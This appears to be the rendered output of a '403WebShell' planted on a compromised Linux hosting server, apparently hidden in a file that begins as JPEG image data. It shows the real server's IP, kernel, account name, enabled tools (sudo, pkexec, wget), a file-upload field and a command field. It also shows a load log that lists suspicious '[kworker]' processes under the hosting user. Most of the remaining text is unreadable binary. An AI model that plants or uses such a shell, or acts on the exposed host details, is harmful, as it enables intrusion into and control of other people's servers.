JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-13.02.00.txt
 ## swap threshold exceeded
## server overview
2025-11-13.02.00 load[0] mem[60/72] mysql[3/8] httpd[14]
              total        used        free      shared  buff/cache   available
Mem:           2363        1385          81          25         896         790
Swap:          1999        1695         304
 02:00:01 up  5:57,  0 users,  load average: 0.17, 0.45, 0.88
## system overview
top - 02:00:02 up  5:57,  0 users,  load average: 0.17, 0.45, 0.88
Tasks: 235 total,   9 running, 225 sleeping,   0 stopped,   1 zombie
%Cpu(s): 84.4 us, 15.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   118196 free,  1381204 used,   920900 buff/cache
KiB Swap:  2047996 total,   311880 free,  1736116 used.   846872 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1781 mysql     20   0 1457796 214116   3944 S 123.5  8.8   5:09.52 /usr/sbin+
 82289 root      20   0  232136  31256   3968 R  11.8  1.3   0:00.16 /usr/loca+
 82334 nigeria   20   0  400652  15932  10220 R  11.8  0.7   0:00.07 /opt/cpan+
 82381 locatio+  20   0  403272  20140  11068 S  11.8  0.8   0:00.04 /opt/cpan+
 82300 root      20   0 1276956  14628    604 D   5.9  0.6   0:00.06 /usr/bin/+
     1 root      20   0   44428   3408   1496 S   0.0  0.1   0:30.01 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:01.52 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:01.04 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 R   0.0  0.0   0:22.27 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.05 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.05 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.97 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:04.20 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:25.59 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.03 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   148 root      20   0       0      0      0 S   0.0  0.0   0:00.47 [kauditd]
   238 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   250 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   256 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   257 root       0 -20       0      0      0 S   0.0  0.0   0:02.54 [kworker/+
   267 root       0 -20       0      0      0 S   0.0  0.0   0:02.36 [kworker/+
   276 root      20   0       0      0      0 S   0.0  0.0   0:01.05 [jbd2/vda+
   277 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   357 root      20   0   39500   4212   3972 S   0.0  0.2   0:12.41 /usr/lib/+
   382 root      20   0   45360      8      4 S   0.0  0.0   0:00.35 /usr/lib/+
   410 root      16  -4   55532    108      0 S   0.0  0.0   0:01.97 /sbin/aud+
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   416 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   497 root      20   0   24896   1432    800 S   0.0  0.1   0:04.87 /usr/lib/+
   500 root      20   0   21540    348    260 S   0.0  0.0   0:00.47 /usr/sbin+
   501 polkitd   20   0  612240    848    464 S   0.0  0.0   0:02.88 /usr/lib/+
   503 root      20   0  152780     72     28 S   0.0  0.0   0:00.01 /usr/sbin+
   504 root      20   0  224148   3060    800 S   0.0  0.1   0:00.29 queueproc+
   507 root      20   0   52852    244    156 S   0.0  0.0   0:00.01 /usr/sbin+
   514 dbus      20   0   58728   1344    600 S   0.0  0.1   0:11.03 /usr/bin/+
   519 nscd      20   0 1062080   1320    592 S   0.0  0.1   0:18.10 /usr/sbin+
   521 rpc       20   0   69256      4      0 S   0.0  0.0   0:00.03 /sbin/rpc+
   529 root      20   0    4388      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   555 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   575 root      20   0  124512    852    416 S   0.0  0.0   0:00.60 /usr/sbin+
   577 root      20   0   24208      4      0 S   0.0  0.0   0:00.00 /usr/sbin+
   590 root      20   0  114704      0      0 S   0.0  0.0   0:00.02 /bin/bash
   591 root      20   0  108296      8      4 S   0.0  0.0   0:00.00 /sbin/age+
   614 mailnull  20   0   89120   3716    784 S   0.0  0.2   0:00.82 /usr/sbin+
   620 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   665 root       0 -20       0      0      0 S   0.0  0.0   0:02.24 [loop0]
   695 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [jbd2/loo+
   696 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   924 systuser  20   0  113016     64      0 S   0.0  0.0   0:00.01 /usr/loca+
   928 systuser  20   0   14068      0      0 S   0.0  0.0   0:00.01 /usr/loca+
   929 systuser  20   0  114016  13796   2760 S   0.0  0.6   0:05.24 /usr/loca+
   930 root      20   0  153404    220    140 S   0.0  0.0   0:00.45 pure-ftpd+
   931 root      20   0   51508    464    300 S   0.0  0.0   0:00.30 /usr/sbin+
   932 root      20   0  572372    612    140 S   0.0  0.0   0:01.90 /usr/bin/+
   933 telegraf  20   0 5654048  33880   6076 S   0.0  1.4   0:11.99 /usr/loca+
   935 memcach+  20   0  342400     56     56 S   0.0  0.0   0:00.48 /usr/bin/+
   939 root      20   0  111304    360    260 S   0.0  0.0   0:02.80 /usr/sbin+
   940 systuser  20   0   10132     36      0 S   0.0  0.0   0:00.01 /usr/loca+
   941 systuser  20   0  112268     68      0 S   0.0  0.0   0:00.01 /usr/loca+
   943 root      20   0  445028      0      0 S   0.0  0.0   0:00.05 sw-engine+
   950 root      20   0  386112    380    288 S   0.0  0.0   0:00.64 php-fpm: +
   961 named     20   0  636988  31948   1940 S   0.0  1.3   0:12.26 /usr/sbin+
   964 root      20   0  281936   4164   3660 S   0.0  0.2   0:05.81 /usr/sbin+
   981 root      20   0  436392    372    284 S   0.0  0.0   0:00.75 php-fpm: +
   984 root      20   0  385496    468    372 S   0.0  0.0   0:00.62 php-fpm: +
   985 root      20   0  261288   6208   1660 S   0.0  0.3   0:03.48 cpsrvd (S+
   989 root      20   0  392856    312    228 S   0.0  0.0   0:00.62 php-fpm: +
   992 root      20   0 1901916 215108    616 S   0.0  8.9   0:32.27 /usr/loca+
  1000 root      20   0  397344   1880    604 S   0.0  0.1   0:03.04 php-fpm: +
  1006 cpanelc+  20   0   10656   3696   2304 S   0.0  0.2   0:17.71 /usr/loca+
  1075 dovenull  20   0   47264   1992   1204 S   0.0  0.1   0:00.44 dovecot/p+
  1076 dovenull  20   0   48460   2852   1660 S   0.0  0.1   0:00.36 dovecot/i+
  1077 dovecot   20   0   10320    280    172 S   0.0  0.0   0:00.12 dovecot/a+
  1078 root      20   0   10452    568    376 S   0.0  0.0   0:00.26 dovecot/l+
  1079 dovenull  20   0   47112   2304   1556 S   0.0  0.1   0:00.33 dovecot/p+
  1080 dovenull  20   0   48000   2588   1548 S   0.0  0.1   0:00.26 dovecot/i+
  1084 root      20   0   24528   2028    352 S   0.0  0.1   0:00.15 dovecot/c+
  1088 dovecot   20   0   13568    596    392 S   0.0  0.0   0:00.05 dovecot/s+
  1121 systuser  20   0  157704   2932    928 S   0.0  0.1   0:00.11 SonarPush+
  1166 dovecot   20   0   41260   1560   1020 S   0.0  0.1   0:00.83 dovecot/a+
  1172 root      20   0  248152   5980   1220 S   0.0  0.2   0:05.41 /usr/loca+
  1173 wp-tool+  20   0  387556   3216   1348 S   0.0  0.1   0:00.24 /usr/bin/+
  1174 wp-tool+  20   0  410616  17824   1268 S   0.0  0.7   0:17.78 /usr/bin/+
  1232 root      20   0  209372   9956   2168 S   0.0  0.4   0:02.84 tailwatchd
  1234 root      20   0  167452   4168   2796 S   0.0  0.2   0:00.42 dnsadmin +
  1237 root      20   0  183900   6696   3460 S   0.0  0.3   0:01.15 cpdavd - +
  1642 root      20   0  299272    504    340 S   0.0  0.0   0:00.57 php-fpm: +
  1702 root      38  18  130416   1364    692 S   0.0  0.1   0:00.05 cpanellog+
  2059 root      20   0  267036   4968    484 S   0.0  0.2   0:02.42 /usr/sbin+
  2063 root      20   0   12800    380    212 S   0.0  0.0   0:02.63 /usr/loca+
  2064 root      20   0   12732    288    208 S   0.0  0.0   0:02.23 /usr/loca+
  2065 root      20   0   12828    392    216 S   0.0  0.0   0:02.46 /usr/loca+
  2089 root      20   0   53268      4      4 S   0.0  0.0   0:00.05 /usr/loca+
  7883 root      20   0  306476  93564   1932 S   0.0  3.9   0:03.33 spamd chi+
  7886 root      20   0  261428  93272   2544 S   0.0  3.9   0:00.32 spamd chi+
 23292 root      20   0  183048   1416    860 S   0.0  0.1   0:00.00 /usr/sbin+
 23359 root      20   0  113284    620    440 S   0.0  0.0   0:00.00 /bin/sh -+
 23372 root      20   0  108056    276    204 S   0.0  0.0   0:00.00 sleep 2h +
 23911 root      20   0 1276100  10708    560 S   0.0  0.4   0:00.08 /usr/bin/+
 23946 root      20   0 1277056  11532    560 S   0.0  0.5   0:00.06 /usr/bin/+
 47111 oysipao+  20   0    3148      8      0 S   0.0  0.0   0:00.00 [kworker]
 47116 oysipao+  20   0    3152     36      0 S   0.0  0.0   0:00.34 [kworker]
 51088 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 51986 root      20   0       0      0      0 S   0.0  0.0   0:00.13 [kworker/+
 58816 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [kworker/+
 65618 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
 66521 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 70517 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
 71416 nobody    20   0  277784  18288   3952 S   0.0  0.8   0:01.29 /usr/sbin+
 72516 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
